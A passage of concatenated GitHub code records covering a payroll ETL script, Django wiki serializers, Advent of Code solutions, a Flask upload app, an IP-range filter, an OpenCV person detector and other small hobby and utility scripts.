drop_old_terminated_participants(self, table, days=550):\n table2 = etl.addfield(\n table, \"DateDiff\",\n lambda x: self.cleaner.get_date_diff(self.pay_date, x[\"Termination Date\"]))\n table3 = etl.convert(table2, \"DateDiff\", lambda x: 0, where=lambda x: x.DateDiff is None)\n table4 = etl.select(table3, lambda x: x.DateDiff < days)\n table5 = etl.cutout(table4, \"DateDiff\")\n return table5\n\n def final_cleanup(self):\n self.full_table = etl.transform.selects.selectisnot(self.full_table, 'SSN', None) # remove null ssns # noqa\n hours_columns = [\"Period Hours Worked\", \"Year to Date Hours Worked\"]\n for column in hours_columns:\n if column not in etl.header(self.full_table):\n self.full_table = etl.addfield(self.full_table, column, None)\n while \"\" in etl.header(self.full_table):\n self.full_table = etl.cutout(self.full_table, \"\")\n self.full_table = etl.cutout(self.full_table, \"Employee Name\")\n if \"Regular\" in etl.header(self.full_table):\n self.full_table = etl.rename(self.full_table, \"Regular\", \"Period Gross Pay\") # noqa\n else:\n self.full_table = etl.addfield(self.full_table, \"Period Gross Pay\", None)\n self.full_table = self.drop_old_terminated_participants(self.full_table)\n\n def set_pay_date(self):\n \"\"\"Gets the paydate from the payroll file.\"\"\"\n pay_date = dt.datetime.strptime(self.cleaner.normalize_date_format(\n next(d for d in self.payroll_table.values(\"Payroll Check Date\") if d)), \"%m/%d/%Y\").date() # noqa\n self.pay_date = pay_date\n\n def get_png_file_name(self):\n return f\"ADPRun-{self.company}-{self.pay_date}.csv\"\n\n def convert_date_column(self, table, column):\n table = table.convert(column, lambda d: self.cleaner.normalize_date_format(d)) # noqa\n return table\n\n def merge_files(self):\n \"\"\"Merges and transforms the census and payroll files.\"\"\"\n full_table = etl.leftjoin(self.census_table, self.payroll_table, key='Employee XID') # noqa\n date_columns = [\"Birth Date\", \"Hire Date\", \"Termination Date\", \"Payroll Check Date\"] # noqa\n for column in date_columns:\n full_table = self.convert_date_column(full_table, column)\n self.full_table = full_table\n\n def parse_census_file(self, census_filename, w2_filename):\n census_table = etl.fromcsv(census_filename)\n census_table = census_table.skip(1)\n self.employee_names = list(census_table[\"Employee Name\"])\n ssn_table = self.parse_w2_file(w2_filename)\n census_table = etl.leftjoin(census_table, ssn_table, key=\"Employee Name\") # noqa\n census_table = census_table.addfield(\"Employee XID\", lambda rec: self.cleaner.generate_xid(rec[\"Employee Name\"], rec[\"Birth Date\"])) # noqa\n self.census_table = census_table\n\n def parse_payroll_file(self, payroll_filename):\n paytable = etl.fromcsv(payroll_filename)\n paytable = paytable.skip(1)\n paytable = paytable.convert('Payroll Deduction Description',\n lambda field: field.replace(' %', ' $'))\n paytable = paytable.addfield('Employee XID', lambda rec: self.cleaner.generate_xid( # noqa\n rec['Employee Name'], rec['Birth Date']))\n pt2 = paytable.convertnumbers().recast(\n key=['Employee XID', 'Payroll Check Date'],\n variablefield='Payroll Earning Description',\n valuefield='Payroll Earning Amount', reducers={'Regular': sum})\n pt2 = etl.cutout(pt2, 'Payroll Check Date')\n if \"Payroll Earning Hours\" in etl.header(paytable):\n pt3 = etl.cut(paytable, 'Employee XID', 'Payroll Earning Hours')\n pt3 = etl.convert(pt3, 'Payroll Earning Hours', lambda x: TableTools().convert_payroll_earning_hours(x)) # noqa\n pt3 = etl.rowreduce(pt3, key='Employee XID', reducer=TableTools().sum_rows, header=['Employee XID', 'Period Hours Worked']) # noqa\n paytable = paytable.recast(key=['Employee XID', 'Payroll Check Date'],\n variablefield='Payroll Deduction Description', # noqa\n valuefield='Payroll Deduction Amount')\n paytable = etl.leftjoin(paytable, pt2, key='Employee XID')\n if 'pt3' in locals():\n paytable = etl.leftjoin(paytable, pt3, key='Employee XID')\n self.payroll_table = paytable\n\n def parse_w2_file(self, w2_filename):\n ssn_file = open(w2_filename)\n ssn_soup = BeautifulSoup(ssn_file, 'html.parser')\n ssn_file.close()\n company_tag = ssn_soup.find(string=re.compile('Company:'))\n if not company_tag:\n company_tag = ssn_soup.find(string=re.compile(\"Employer's Name\")).findNext('td').contents[0]\n self.company = str(company_tag.string).strip().replace(' ', '-')\n else:\n company_str = str(company_tag.string).strip()\n self.company = re.match(r'Company: ([\\w ]+)', company_str).group(1).strip().replace(' ', '-') # noqa\n\n # for cleaning the name/ssn block\n regex = re.compile('\\t')\n regex_b = re.compile('\\n')\n regex_c = re.compile('\\xa0')\n regex_d = re.compile('SSN : ')\n\n # extract names and ssns\n name_ssn_block = ssn_soup.find_all('td', 'NameHeader', colspan='3')\n name_ssn = []\n for element in name_ssn_block:\n column_label = element.get_text(strip=True)\n column_label = regex.sub('', column_label)\n column_label = regex_b.sub('', column_label)\n column_label = regex_c.sub(' ', column_label)\n column_label = regex_d.sub('', column_label)\n name_ssn.append(column_label)\n names = name_ssn[::2]\n ssn_df = name_ssn[1::2]\n ssn_df = [e for e in ssn_df] # ssn cleanup\n\n # gather names and ssns\n last_name = []\n first_name = []\n found_str = \"name {} found in employee names\"\n not_found_str = \"name {} NOT found in employee names\"\n for idx, name in enumerate(names):\n name_no_middle = self.cleaner.remove_middle_initial(name)\n last, first = name_no_middle.split(',')\n first = first.strip()\n last_name.append(last)\n\n if name not in self.employee_names:\n\n # handle \"LAST,FIRSTM\" and \"LAST,FIRST\"\n if first.isupper():\n if name not in self.employee_names:\n print(not_found_str.format(name))\n\n # assume no middle name first\n name = f\"{last}, {first}\"\n names[idx] = name\n\n # if name not found, last letter may be middle initial\n if name not in self.employee_names:\n print(not_found_str.format(name))\n name = f\"{last}, {first[:-1]} {first[-1]}\"\n names[idx] = name\n if name not in self.employee_names:\n print(not_found_str.format(name))\n else:\n print(found_str.format(name))\n else:\n print(found_str.format(name))\n else:\n print(found_str.format(name))\n\n # handle format \"Last,FirstM\" AND \"Last,First\"\n else:\n if first[-1].isupper():\n middle = first[-1]\n first = first[:-1]\n name = f\"{last}, {first} {middle}\"\n names[idx] = name\n if name in self.employee_names:\n print(found_str.format(name))\n else:\n name = f\"{last}, {first}\"\n names[idx] = name\n if name in self.employee_names:\n print(found_str.format(name))\n \n else:\n print(found_str.format(name))\n first_name.append(first)\n ssn_table = etl.fromcolumns([names,\n ssn_df,\n first_name,\n last_name])\n ssn_table = ssn_table.setheader(['Employee Name', 'SSN', 'First Name', 'Last Name']) # noqa\n ssn_table_clean = etl.distinct(ssn_table, 'SSN') # drop duplicate ssns\n return ssn_table_clean\n\n def convert_files_to_png(self):\n self.parse_census_file(f\"src/raw_files/{self.census_filename}\", f\"src/raw_files/{self.w2_filename}\")\n self.parse_payroll_file(f\"src/raw_files/{self.payroll_filename}\")\n self.set_pay_date()\n self.merge_files()\n self.add_contribution_columns()\n self.final_cleanup()\n self.full_table.tocsv(\"full_table.csv\")\n self.png_file = pd.read_csv(\"full_table.csv\")\n self.format_for_jiffy()\n return self.full_table\n\n def format_for_jiffy(self):\n column_mappings = {\n \"Employee Address Line 1\": \"Street Address #1\",\n \"Employee Address Line 2\": \"Street Address #2\",\n \"Employee City\": \"City\",\n \"Employee State\": \"State\",\n \"Employee ZIP\": \"Zip Code\",\n \"Employee Telephone Number\": \"Phone\",\n \"Personal Email\": \"Email Address\",\n \"Work Email\": \"Secondary Email Address\",\n \"Hire Date\": \"Date of Hire\",\n \"Birth Date\": \"Date of Birth\",\n \"\": \"Date of Rehire\",\n \"Termination Date\": \"Date of Termination\",\n \"SSN\": \"Social Security Number\",\n \"Period Gross Pay\": \"Current Period Compensation\",\n \"Period Hours Worked\": \"Current Period Hours\",\n \"Pre-tax Contribution\": \"Pre-tax Contribution Amount\",\n \"Roth Contribution\": \"Roth Contribution Amount\",\n \"Loan Repayment\": \"Loan Payment\",\n \"Year to Date Hours Worked\": \"YTD Hours\",\n }\n self.png_file.rename(columns=column_mappings, inplace=True)\n for col in [\"Date of Rehire\", \"Division\", \"Gross Salary\"]:\n self.png_file[col] = \"\"\n\n\ndef main():\n parser = ArgumentParser()\n parser.add_argument(\"-e\", \"--environment\")\n parser.add_argument(\"-g\", \"--google_drive_link\")\n args = parser.parse_args()\n\n # get quickbook files from google drive\n gsheets = GSheetsHandler(args.environment)\n gsheets.get_adprun_files(args.google_drive_link)\n\n # convert files to png format\n adprun = ADPRun(\n args.environment,\n gsheets.census_filename,\n gsheets.payroll_filename,\n gsheets.w2_filename\n )\n adprun.convert_files_to_png()\n\n # upload the file to the google drive folder\n gsheets.upload_gsheet(\n df=adprun.png_file,\n folder_id=gsheets.folder_id,\n title=adprun.get_png_file_name()\n )\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n","repo_name":"jiffy-ratheesh-h/python-scripts","sub_path":"adprun.py","file_name":"adprun.py","file_ext":"py","file_size_in_byte":12263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"10299857767","text":"# -*- encoding: utf-8 -*-\n\nfrom waliki.settings import WALIKI_DEFAULT_MARKUP\nfrom waliki import views\nfrom waliki.models import Page\nfrom waliki.signals import page_preedit\n\nfrom rest_framework import serializers, request\n\nimport json\n\nfrom .models import Request, pageComments\nfrom .signals import page_request\n\nclass PageCreateSerializer(serializers.ModelSerializer):\n \"\"\"\n Serializer Class to create a Page.\n \"\"\"\n\n raw = serializers.CharField()\n message = serializers.CharField(label=\"Mensaje\", help_text='Descripción de los cambios', write_only=True)\n extra_data = serializers.SerializerMethodField()\n\n\n def get_extra_data(self, obj, *args, **kwargs):\n form_extra_data = {}\n page = Page.objects.get(slug=self.context['request'].POST.get('slug'))\n\n receivers_responses = page_preedit.send(sender=views.edit, page=page)\n for r in receivers_responses:\n if isinstance(r[1], dict) and 'form_extra_data' in r[1]:\n form_extra_data.update(r[1]['form_extra_data'])\n return json.dumps(form_extra_data)\n \n\n def save(self, *args, **kwargs):\n \"\"\"call to waliki new function\"\"\"\n #call waliki new function\n mutable = self.context['request'].POST._mutable\n self.context['request'].POST._mutable = True\n self.context['request'].POST['markup'] = WALIKI_DEFAULT_MARKUP\n self.context['request'].POST._mutable = mutable\n response = views.new(self.context['request']._request,*args, **kwargs)\n\n\n #if 'extra_data' no comming in payload\n if not self.context['request'].POST.get('extra_data', False):\n mutable = self.context['request'].POST._mutable\n self.context['request'].POST._mutable = True\n self.context['request'].POST['extra_data'] = self.get_extra_data(self.instance)\n ##self.context['request'].POST['markup'] = \"markdown\"\n self.context['request'].POST._mutable = mutable\n\n kwargs['slug'] = self.context['request'].POST['slug']\n\n response = views.edit(self.context['request'],*args, **kwargs)\n ##\n page = Page.objects.filter(slug=kwargs['slug'])[0]\n\n # para los comentarios\n pageComments.objects.create(page = page)\n \n #Create new reques\n commit = json.loads(self.get_extra_data(self.instance))['parent']\n page_request.send(\n sender=Request,\n new_title=page.title,\n page=page,\n commit=commit,\n author=self.context['request'].user,\n message=\"\")\n\n #if user have permissions, then automatic aprove the request\n if self.context['request'].user.has_perm( 'wiki.can_approve_request' ):\n request = Request.objects.filter(commit=commit)[0]\n request.approve_request(self.context['request'].user)\n\n\n class Meta():\n model = Page\n fields = ('id', 'title', 'slug', 'raw', 'markup' ,'message', 'extra_data', )\n read_only_fields = ('id', 'markup',)\n\n\nclass PageEditSerializer(serializers.HyperlinkedModelSerializer):\n \"\"\"\n Serializer Class to edit a Page.\n \"\"\"\n raw = serializers.CharField()\n message = serializers.CharField(write_only=True)\n extra_data = serializers.SerializerMethodField()\n\n def get_extra_data(self, page):\n form_extra_data = {}\n receivers_responses = page_preedit.send(sender=views.edit, page=page)\n for r in receivers_responses:\n if isinstance(r[1], dict) and 'form_extra_data' in r[1]:\n form_extra_data.update(r[1]['form_extra_data'])\n return json.dumps(form_extra_data)\n\n\n def save(self, *args, **kwargs):\n \"\"\"call to waliki edit function\"\"\"\n\n\n mutable = self.context['request'].POST._mutable\n self.context['request'].POST._mutable = True\n\n kwargs['slug'] = self.instance.slug\n page = Page.objects.filter(slug=kwargs['slug'])[0]\n new_title = self.context['request'].POST.get('title', page.title)\n self.context['request'].POST['title'] = page.title\n\n\n self.context['request'].POST['markup'] = WALIKI_DEFAULT_MARKUP\n self.context['request'].POST._mutable = mutable\n\n\n #if 'extra_data' no comming in payload\n if not self.context['request'].POST.get('extra_data', False):\n mutable = self.context['request'].POST._mutable\n self.context['request'].POST._mutable = True\n self.context['request'].POST['extra_data'] = self.get_extra_data(self.instance)\n self.context['request'].POST._mutable = mutable\n\n \n\n response = views.edit(self.context['request'],*args, **kwargs)\n\n \n\n #Create new reques\n commit = json.loads(self.get_extra_data(self.instance))['parent']\n \n page_request.send(\n sender=Request,\n new_title=new_title,\n page=page,\n commit=commit,\n author=self.context['request'].user,\n message=self.context['request'].POST['message'])\n\n\n #if user have permissions, then automatic aprove the request\n if self.context['request'].user.has_perm( 'wiki.can_approve_request' ):\n request = Request.objects.filter(commit=commit)[0]\n request.approve_request(self.context['request'].user)\n\n\n class Meta():\n model = Page\n fields = ('id', 'title', 'slug', 'raw', 'markup' ,'message', 'extra_data', )\n read_only_fields = ('id', 'slug', )\n\n\nclass PageRetrieveSerializer(serializers.ModelSerializer):\n \"\"\"\n Serializer Class to retrieve a Page.\n \"\"\"\n date = serializers.SerializerMethodField()\n id_thread = serializers.SerializerMethodField()\n\n def get_id_thread(self, obj, *args, **kwargs):\n return pageComments.objects.get(page=obj).id\n\n\n def get_date(self, obj, *args, **kwargs):\n #print obj.slug\n #print Request.objects.filter(page=obj)\n return ''\n\n class Meta():\n model = Page\n fields = ('id', 'title', 'slug', 'raw', 'markup', 'date', 'id_thread' )\n read_only_fields = fields \n\n\nclass RequestSerializer(serializers.ModelSerializer):\n\n page = serializers.SerializerMethodField()\n review = serializers.SerializerMethodField()\n author = serializers.SerializerMethodField()\n\n def get_page(self, obj, *args, **kwargs):\n data = {\n 'title': obj.page.title,\n 'slug': obj.page.slug\n }\n return data\n\n def get_review(self, obj, *args, **kwargs):\n if obj.approved is True:\n data = {\n 'approved': {'is': obj.approved, 'approved_at': obj.checked_at},\n 'reviewer' :{\n 'id': obj.checked_by.id,\n 'fullname': obj.checked_by.get_full_name() \n }\n }\n else:\n data = {'approved': {'is': obj.approved}}\n\n return data\n\n def get_author(self, obj, *args, **kwargs):\n return {'id': obj.created_by.id, 'fullname': obj.created_by.get_full_name(), 'created_at': obj.created_at}\n\n class Meta():\n model = Request\n fields = ('id', 'page', 'commit', 'review', 'author' )\n read_only_fields = fields\n\n\n\nclass PublicPageSerializer(RequestSerializer):\n\n def get_page(self, obj, *args, **kwargs):\n data = {\n 'title': obj.request.page.title,\n 'slug': obj.request.page.slug\n }\n return data\n\n def get_review(self, obj, *args, **kwargs):\n if obj.request.approved is True:\n data = {\n 'approved': {'is': obj.request.approved, 'approved_at': obj.request.checked_at},\n 'reviewer' :{\n 'id': obj.request.checked_by.id,\n 'fullname': obj.request.checked_by.get_full_name() \n }\n }\n else:\n data = {'approved': {'is': obj.request.approved}}\n\n return data\n\n def get_author(self, obj, *args, **kwargs):\n return {'id': obj.request.created_by.id, 'fullname': obj.request.created_by.get_full_name(), 'created_at': obj.request.created_at}\n\n\n","repo_name":"degreework/Services","sub_path":"wiki/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":8151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"36565467060","text":"import numpy as np\nimport nltk\n\nfrom typing import List\n\n\ndef select_data(X : np.array, y : np.array, N : int):\n\t\"\"\"\n\t\tFor every class in y, select N elements\n\t\"\"\" \n\tunique_labels = np.unique(y)\n\n\tif len(unique_labels) * N >= len(X):\n\t\treturn X, y\n\n\tselected_idx = np.zeros(len(unique_labels) * N, dtype=np.int)\n\n\tfor i in range(len(unique_labels)):\n\t\tcrt_label_idx = np.argwhere(y == unique_labels[i])[:N]\n\t\tselected_idx[i*N:(i+1)*N] = crt_label_idx[:, 0]\n\t\n\treturn np.array(X)[selected_idx], np.array(y)[selected_idx]\n\n\ndef text_to_idx(text_data : List, word2idx):\n\tans = []\n\n\tfor doc in text_data:\n\t\tsent_text = nltk.sent_tokenize(doc.replace('\\n', ' '))\n\t\tcurr_text = []\n\t\tfor sent in sent_text:\n\t\t\ttokenized_sent = nltk.word_tokenize(sent)\n\t\t\tcurr_sent = [word2idx[word] for word in tokenized_sent if word in word2idx]\n\t\t\tcurr_text += curr_sent\n\t\tans.append(curr_text)\n\t\n\treturn ans\n\n\n\n\n","repo_name":"AndreeaMusat/coursework","sub_path":"Probabilistic-programming/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6742222545","text":"TOTAL_SPACE = 70000000\nREQUIRED_FREE_SPACE = 30000000\n\n\ndef main():\n directory_sizes = {}\n cur_location = []\n last_command = None\n\n def lineage():\n yield \"/\"\n\n for i in range(len(cur_location)):\n yield \"/\" + \"/\".join(cur_location[: i + 1])\n\n with open(\"input.txt\", \"r\") as fp:\n for line in fp.readlines():\n parts = line.strip().split(\" \")\n\n if parts[0] == \"$\":\n if parts[1] == \"cd\":\n if parts[2] == \"..\":\n assert cur_location\n cur_location.pop()\n elif parts[2] == \"/\":\n cur_location.clear()\n else:\n cur_location.append(parts[2])\n\n last_command = \"cd\"\n elif parts[1] == \"ls\":\n last_command = \"ls\"\n else:\n raise RuntimeError\n elif last_command == \"ls\":\n if parts[0] != \"dir\":\n for path in lineage():\n directory_sizes.setdefault(path, 0)\n directory_sizes[path] += int(parts[0])\n\n total = sum(filter(lambda i: i <= 100000, directory_sizes.values()))\n print(total)\n\n used_space = directory_sizes[\"/\"]\n unused_space = TOTAL_SPACE - used_space\n need_to_free = REQUIRED_FREE_SPACE - unused_space\n\n size_to_free = min(filter(lambda i: i >= need_to_free, directory_sizes.values()))\n print(size_to_free)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"rystrauss/advent-of-code","sub_path":"2022/day7/day7.py","file_name":"day7.py","file_ext":"py","file_size_in_byte":1565,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"34241094548","text":"import re,sys\nfrom validator_errors import *\n\n\"\"\"\nSteps Validator:\n- Doesn't handle tags\n- Doesn't handle minutes\n\n\"\"\"\n\ndef st_validator(omhe_value):\n \"\"\"validate steps\"\"\"\n valdict={}\n \n if omhe_value.isdigit():\n valdict['st_numeric']=omhe_value\n try:\n x=float(valdict['st_numeric'])\n return valdict\n except:\n raise InvalidValueError(\"You didn't supply a number of steps\")\n \n","repo_name":"videntity/python-omhe","sub_path":"omhe/core/validators/st_validator.py","file_name":"st_validator.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"48"} +{"seq_id":"12460732221","text":"import tensorflow as tf\n\ndef create_graph(modelFullPath):\n\twith tf.gfile.FastGFile(modelFullPath,'rb') as f:\n\t\tgraph_def = tf.GraphDef()\n\t\tgraph_def.ParseFromString(f.read())\n\t\ttf.import_graph_def(graph_def, name='')\n\nGRAPH_DIR = \"/home/xmreality/Documents/exjobb/test/output_graph.pb\"\ncreate_graph(GRAPH_DIR)\t\t\n\nfor op in tf.get_default_graph().get_operations():\n\tprint(op.values, '\\n')","repo_name":"MargaretaVi/exjobbV2","sub_path":"utils/networkOverview.py","file_name":"networkOverview.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"13495330349","text":"import os\nfrom flask import Flask, request, render_template\n\napp = Flask(__name__)\n\nUPLOAD_FOLDER = '/uploads' \n\nos.makedirs(UPLOAD_FOLDER, exist_ok=True)\n\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n@app.route('/upload', methods=['POST'])\ndef upload_file():\n if 'file' not in request.files:\n return \"No file part\"\n\n file = request.files['file']\n if file.filename == '':\n return \"No selected file\"\n\n if file:\n filename = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)\n file.save(filename)\n confirmation_message = \"File uploaded successfully.\"\n\n return render_template('index.html', confirmation_message=confirmation_message)\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=80)\n","repo_name":"2Rahul02/docker_worksop","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"40084753791","text":"from openpyxl import load_workbook\nimport socket\nimport struct\nimport ipaddress\n\n\ndef get_all_rows(data_file, ws):\n\n \"\"\"Get all rows\"\"\"\n xcell = load_workbook(data_file)\n\n\n ws = xcell['IPv4']\n all_rows = list(ws.rows)\n\n return all_rows\n\n\n\ndef summarize_data(data):\n \"\"\"Summary of addresses, subnet, unicode, and country\"\"\"\n\n ip_addresses = []\n subnets = []\n for row in data[1:220980]:\n if (row[0].value >= 0) and (row[0].value <= 4294967295):\n if row[3].value in [\"Russia\", \"China\"]:\n ip_int = row[0].value\n packed_ip = struct.pack(\"!L\", ip_int)\n ip_str = socket.inet_ntoa(packed_ip)\n ip_addresses.append(ip_str)\n sub_int = row[1].value\n packed_sub = struct.pack(\"!L\", sub_int)\n sub_str = socket.inet_ntoa(packed_sub)\n subnets.append(sub_str)\n return ip_addresses, subnets\n\n\ndef user_prompt():\n user_input = input(\"Enter 'IP' if you'd like to see IPs, or enter 'Subnet' for subnets: \")\n if user_input == 'IP':\n for ip in ip_addresses:\n print(ip)\n\n elif user_input == \"Subnet\":\n for sub in subnets:\n print(sub)\n else:\n print(\"Invalid input. Please enter 'IP' or 'Subnet'\")\n \n\n\ndata_file = r'Data\\IP2LOCATION-LITE-DB1.xlsx'\ndata = get_all_rows(data_file, 'IPv4')\ncolumn_a, column_b, column_c = get_all_columns(data_file, 'IPv4')\n\nget_all_rows\n#get_all_columns\nsummarize_data(data)\nip_addresses, subnets = summarize_data(data)\nuser_prompt()\n","repo_name":"ParallelVisions/IPfirewallexclusion","sub_path":"_main_.py","file_name":"_main_.py","file_ext":"py","file_size_in_byte":1564,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"29059382606","text":"l = open(\"input.txt\").read().split('\\n')[:-1]\n\ndef sep(s):\n t = s.split(\" \")\n bornes = t[0].split(\"-\")\n inf = int(bornes[0])\n sup = int(bornes[1])\n car = t[1][0]\n ch = t[2]\n return inf, sup, car, ch\n\ndef valid(s):\n ans = sep(s)\n inf = ans[0]\n sup = ans[1]\n car = ans[2]\n ch = ans[3]\n if inf <= ch.count(car) <= sup :\n return 1\n else :\n return 0\n\ntot = 0\nfor s in l :\n tot += valid(s)\nprint(tot)\n","repo_name":"glassus/aoc2020","sub_path":"day02/02_1.py","file_name":"02_1.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6095336654","text":"import sqlite3\nconn=sqlite3.connect('test.db')\nprint(\"open the database sucessfully\")\nc=conn.cursor()\n#c.execute(\"create table human(hname text(10),hage number(10),hvitamin text(10),hdefeciency text(10))\")\nc.execute(\"insert into human values ('sai',21,'b','animea')\")\nc.execute(\"insert into human values ('srinu',21,'a','eye site')\")\nc.execute(\"insert into human values ('chandu',21,'c','internal bleeding')\")\nc.execute(\"insert into human values ('harsha',21,'d','rickets')\")\nconn.commit()\nc.execute(\"update human set hage=20 where hname='sai'\")\nc.execute(\"select * from human\")\ndata=c.fetchall()\nfor row in data:\n print(row)\nc.close()\nconn.close()\n\n","repo_name":"ponnuru171/Python-1","sub_path":"database 4.py","file_name":"database 4.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"23113702500","text":"import time\r\nimport cv2\r\n\r\ncap = cv2.VideoCapture(0)\r\ncap.set(3, 640)\r\ncap.set(4, 480)\r\n\r\nclassNames = [\"person\"]\r\n\r\nconfigPath = \"ssd_mobilenet_v3_large_coco_2020_01_14.pbtxt\"\r\nweightPath = \"frozen_inference_graph.pb\"\r\n\r\nnet = cv2.dnn_DetectionModel(weightPath, configPath)\r\nnet.setInputSize(320, 320)\r\nnet.setInputScale(1.0 / 127.5)\r\nnet.setInputMean((127.5, 127.5, 127.5))\r\nnet.setInputSwapRB(True)\r\ni = 0\r\nprinter_time = time.time()\r\nprinter = 0\r\nwhile True:\r\n try:\r\n success, img = cap.read()\r\n\r\n classIds, confs, bbox = net.detect(img, confThreshold=0.5)\r\n\r\n if time.time() - printer_time >= 0.3:\r\n printer_time = time.time()\r\n cv2.imwrite(str(printer) + \".png\", img)\r\n printer += 1\r\n if len(classIds) != 0:\r\n print(i, \"-> Found a person with\" + str(confs)+ \" confidence \")\r\n i += 1\r\n\r\n for classId, confidence, box in zip(classIds.flatten(), confs.flatten(), bbox):\r\n cv2.rectangle(img, box, color=(0, 255, 0), thickness=2)\r\n cv2.putText(img, classNames[classId - 1].upper() + str(confs).upper(), (box[0], box[1]), cv2.FONT_HERSHEY_COMPLEX, 2,\r\n (0, 255, 0), 2)\r\n cv2.imwrite(str(i) +\"_\"+ str(confs)+ \"_person.png\", img)\r\n i+=1\r\n\r\n cv2.imshow(\"Output\", img)\r\n cv2.waitKey(1)\r\n except:\r\n pass\r\n","repo_name":"Phoneria/UAV","sub_path":"Detection/PersonDetection.py","file_name":"PersonDetection.py","file_ext":"py","file_size_in_byte":1400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"39867711145","text":"from DataStructure import ListNode\n\ndef isPalindrome(head) -> bool:\n\n arr = []\n while head:\n arr.append(head.val)\n head = head.next\n\n for i in range(len(arr) >> 1):\n if arr[i] != arr[len(arr) - i - 1]:\n return False\n return True\n\n################### Test ########################\narr = [1,2,2,1]\nhead = ListNode.listToListNode(arr)\nans = isPalindrome(head)\nprint(ans)","repo_name":"jejune5/algo-notes","sub_path":"leetcode_py/Ref_Repo/类型分类/链表/234 回文链表.py","file_name":"234 回文链表.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"11083282672","text":"#!/usr/bin/python\nimport shutil\nimport os\nimport re\ndestination = \"\"\ntest = \"\"\nfor root, dir, files in os.walk(\".\"):\n for x in files:\n if x.endswith(\".jpg\") or x.endswith(\".jpeg\") or x.endswith(\".png\"):\n destination = \"/home/ENTERYOURUSERNAMEHERE/Pictures/Sorted\"\n test = str(root) + \"/\" + x\n shutil.copy(test,destination)\n os.remove(test)\n","repo_name":"CyanBlob/Scripts","sub_path":"Yazan_HSort.py","file_name":"Yazan_HSort.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73994008467","text":"'''\n2022/05/07\n\nYou are given an array of desired filenames in the order of their creation. Since two files cannot have equal names, the one which comes later will have an addition to its name in a form of (k), where k is the smallest positive integer such that the obtained name is not used yet.\n\nReturn an array of names that will be given to the files.\n\nExample\n\nFor names = [\"doc\", \"doc\", \"image\", \"doc(1)\", \"doc\"], the output should be\nsolution(names) = [\"doc\", \"doc(1)\", \"image\", \"doc(1)(1)\", \"doc(2)\"].\n\n'''\n\ndef solution(names):\n for i in range(len(names)):\n if names[i] in names[:i]:\n j = 1\n while names[i] + \"(\" + str(j) + \")\" in names[:i]:\n j += 1\n names[i] += \"(\" + str(j) + \")\"\n return names\n\n # m = {}\n # r = []\n # for name in names:\n # if name not in m:\n # m[name] = 1\n \n # if r.count(name) == 0:\n # r.append(name)\n # continue\n\n # while r.count(name + \"(\" + str(m[name]) + \")\") > 0:\n # m[name] += 1\n \n # r.append(name + \"(\" + str(m[name]) + \")\")\n\n # return r\n\n'''\n쉬운듯 아닌듯한 문제로 한 시간을 넘게 소비했다.\n다른 사람 풀이를 보니 나는 도대체 뭘 한 건가 싶다.\n'''\n\n\nprint(solution(names = [\"doc\", \"doc\", \"image\", \"doc(1)\", \"doc\"]))\n\nprint(solution(names = [\"a(1)\",\"a(6)\", \"a\", \"a\", \"a\", \"a\", \"a\", \"a\", \"a\", \"a\", \"a\", \"a\"]))\n'''\n[\"a(1)\", \n\"a(6)\", \n\"a\", \n\"a(2)\", \n\"a(3)\", \n\"a(4)\", \n\"a(5)\", \n\"a(7)\", \n\"a(8)\", \n\"a(9)\", \n\"a(10)\", \n\"a(11)\"]\n'''\n\nprint(solution(names = [\"dd\", \"dd(1)\", \"dd(2)\", \"dd\", \"dd(1)\", \"dd(1)(2)\", \"dd(1)(1)\", \"dd\", \"dd(1)\"]))\n'''\n [\"dd\", \n \"dd(1)\", \n \"dd(2)\", \n \"dd(3)\", \n \"dd(1)(1)\", \n \"dd(1)(2)\", \n \"dd(1)(1)(1)\", \n \"dd(4)\", \n \"dd(1)(3)\"]\n'''\n","repo_name":"heosangmin/practiceAlgorithm","sub_path":"codesignal.com/Arcade/cs_57_fileNaming.py","file_name":"cs_57_fileNaming.py","file_ext":"py","file_size_in_byte":1780,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"22161203010","text":"from __future__ import unicode_literals\nfrom six import python_2_unicode_compatible\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.db import models\nfrom quiz.models import Question\n\n\nANSWER_ORDER_OPTIONS = (\n ('conteudo', _('Conteúdo')),\n ('aleatorio', _('Aleatório')),\n ('nenhum', _('Nenhum'))\n)\n\n\nclass MCQuestion(Question):\n\n answer_order = models.CharField(\n max_length=30, null=True, blank=True,\n choices=ANSWER_ORDER_OPTIONS,\n help_text=_(\"A ordem na 